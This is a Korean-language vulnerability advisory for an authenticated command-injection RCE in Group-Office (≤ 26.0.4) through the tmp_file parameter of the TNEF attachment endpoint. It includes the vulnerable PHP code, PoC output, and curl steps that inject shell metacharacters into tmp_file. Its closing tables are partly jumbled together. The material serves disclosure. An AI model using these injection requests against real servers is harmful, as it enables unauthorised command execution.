
RCE - TNEF 첨부 파일 핸들러를 통한 명령 주입
CVSS 4.0 벡터 :
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Group-Office에서 심각한 원격 코드 실행(RCE) 취약점이 확인되었습니다. 엔드포인트 email/message/tnefAttachmentFromTempFile은 사용자가 제어하는 매개변수 tmp_file을 exec() 호출에 직접 연결합니다. tmp_file에 셸 메타 문자를 주입함으로써 인증된 공격자가 서버에서 임의의 시스템 명령을 실행할 수 있습니다.
| 제품 | 영향받는 버전 |
|---|---|
| Group-Office | ≤ 26.0.4 |
tmp_file 매개변수는 HTTP 요청에서 가져와 이스케이프나 검증 없이 셸 명령을 구성하는 데 사용됩니다. 이로 인해 웹 서버 권한으로 실행되는 tnef 추출 명령에 명령 삽입이 발생합니다.
취약 코드 (www/modules/email/controller/MessageController.php):
protected function actionTnefAttachmentFromTempFile(array $params)
{
$tmpFolder = \GO\Base\Fs\Folder::tempFolder(uniqid(time()));
$tmpFile = new \GO\Base\Fs\File(GO::config()->tmpdir.$params['tmp_file']);
chdir($tmpFolder->path());
exec(GO::config()->cmd_tnef.' -C '.$tmpFolder->path().' '.$tmpFile->path(), $output, $retVar);
if($retVar!=0)
throw new \Exception("TNEF extraction failed: ".implode("\n", $output));
exec(GO::config()->cmd_zip.' -r "winmail.zip" *', $output, $retVar);
if($retVar!=0)
throw new \Exception("ZIP compression failed: ".implode("\n", $output));
$zipFile = $tmpFolder->child('winmail.zip');
\GO\Base\Util\Http::outputDownloadHeaders($zipFile,false,true);
$zipFile->output();
$tmpFolder->delete();
}
| 단계 | 설명 |
|---|---|
| 소스 | index.php?r=email/message/tnefAttachmentFromTempFile&tmp_file=...의 쿼리 매개변수 |
tmp_file이 셸 명령에 연결되므로 ;, &, 백틱 또는 $()와 같은 메타 문자를 사용하여 공격자가 임의의 명령을 추가할 수 있습니다.
인증 요구 사항: 예.
MessageController는security_tokenCSRF 검사를 시행하므로 유효한 세션 및 토큰이 필요합니다.
PoC 스크립트는 로그인하여 security_token을 검색하고, tmp_file을 통해 페이로드를 주입하며, ZIP 응답에서 rce.txt를 읽어 실행을 확인합니다.
python3 poc.py
예제 출력:
➜ ~ python3 poc.py
[*] Target: http://xx.xx.xxx.xxx:9090
[*] Login status: 200
[*] Login ok, security_token received
[*] Exploit URL: http://xx.xx.xxx.xxx:9090/index.php?r=email/message/tnefAttachmentFromTempFile
[*] tmp_file payload: dummy.dat;id > /tmp/id;id > rce.txt;echo RCE_POC_451a735c >> rce.txt;#
[*] Response status: 200
[+] RCE Confirmed
[+] Command output (id):
uid=33(www-data) gid=33(www-data) groups=33(www-data)
1단계: 로그인
curl -c cookies.txt -b cookies.txt "http://TARGET:PORT/index.php" \
--data-urlencode "r=core/auth/login" \
--data-urlencode "username=YOUR_USERNAME" \
--data-urlencode "password=YOUR_PASSWORD" \
-H "X-Requested-With: XMLHttpRequest"
응답:
{
"success": true,
"groupoffice_version": "26.0.4",
"user_id": 2,
"security_token": "XXXXXXX",
"sid": "XXXXXXXXXXX"
}
2단계: RCE 트리거
curl -G "http://TARGET:PORT/index.php" \
-b cookies.txt \
--data-urlencode "r=email/message/tnefAttachmentFromTempFile" \
--data-urlencode "security_token=YOUR_TOKEN" \
--data-urlencode "tmp_file=dummy.dat;id > rce.txt || true;#" \
-o command_output.zip
결과:
➜ unzip command_output.zip
Archive: command_output.zip
inflating: rce.txt
➜ cat rce.txt
uid=33(www-data) gid=33(www-data) groups=33(www-data)
| 범주 | 심각도 | 설명 |
|---|---|---|
| 기밀성 | 높음 | 임의 명령 실행으로 민감 파일 읽기 가능. |
| 무결성 | 높음 |
tmp_file| 전파 | new \GO\Base\Fs\File(GO::config()->tmpdir.$params['tmp_file']) |
| 싱크 | exec(GO::config()->cmd_tnef.' -C '.$tmpFolder->path().' '.$tmpFile->path(), ...) |
| 공격자가 서버 파일을 수정 또는 삭제 가능. |
| 가용성 | 높음 | 공격자가 서비스를 중단하거나 중요 데이터를 삭제 가능. |